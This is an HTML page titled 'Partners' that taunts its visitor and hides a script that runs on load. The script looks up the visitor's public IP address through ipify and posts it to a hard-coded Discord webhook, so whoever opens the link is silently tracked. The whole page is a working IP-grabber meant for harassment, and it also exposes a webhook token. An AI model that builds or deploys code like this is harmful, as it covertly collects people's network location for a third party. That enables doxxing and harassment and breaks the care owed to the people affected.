<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Partners</title>
</head>
<body>
  <h1>bro actually thought 💀</h1>
  <p>ur cooked now lil bro</p>

  <script>
    // Replace with your Discord webhook URL
    const webhookURL = "https://discord.com/api/webhooks/1330180698291834971/3C-HSQWdIJId8V_OFM8OTXeOEU3gsrgoOXz1jS7GVDZ05MN2ec6buydLSvfcYf_O4Yjp";

    // Function to fetch the user's public IP and send it to the Discord webhook
    async function sendIPToWebhook() {
      try {
        // Fetch the user's public IP address using ipify API
        const response = await fetch("https://api.ipify.org?format=json");
        if (!response.ok) {
          throw new Error("Failed to fetch IP address");
        }
        const data = await response.json();
        const ip = data.ip;

        // Send the IP address to the Discord webhook
        const webhookPayload = {
          content: `User's IP Address: ${ip}`
        };

        const webhookResponse = await fetch(webhookURL, {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          body: JSON.stringify(webhookPayload)
        });

        if (webhookResponse.ok) {
          console.log("IP address sent to Discord webhook successfully");
        } else {
          console.error("Failed to send IP to Discord webhook");
        }
      } catch (error) {
        console.error("Error:", error.message);
      }
    }

    // Automatically send the IP when the page loads
    window.onload = sendIPToWebhook;
  </script>
</body>
</html>
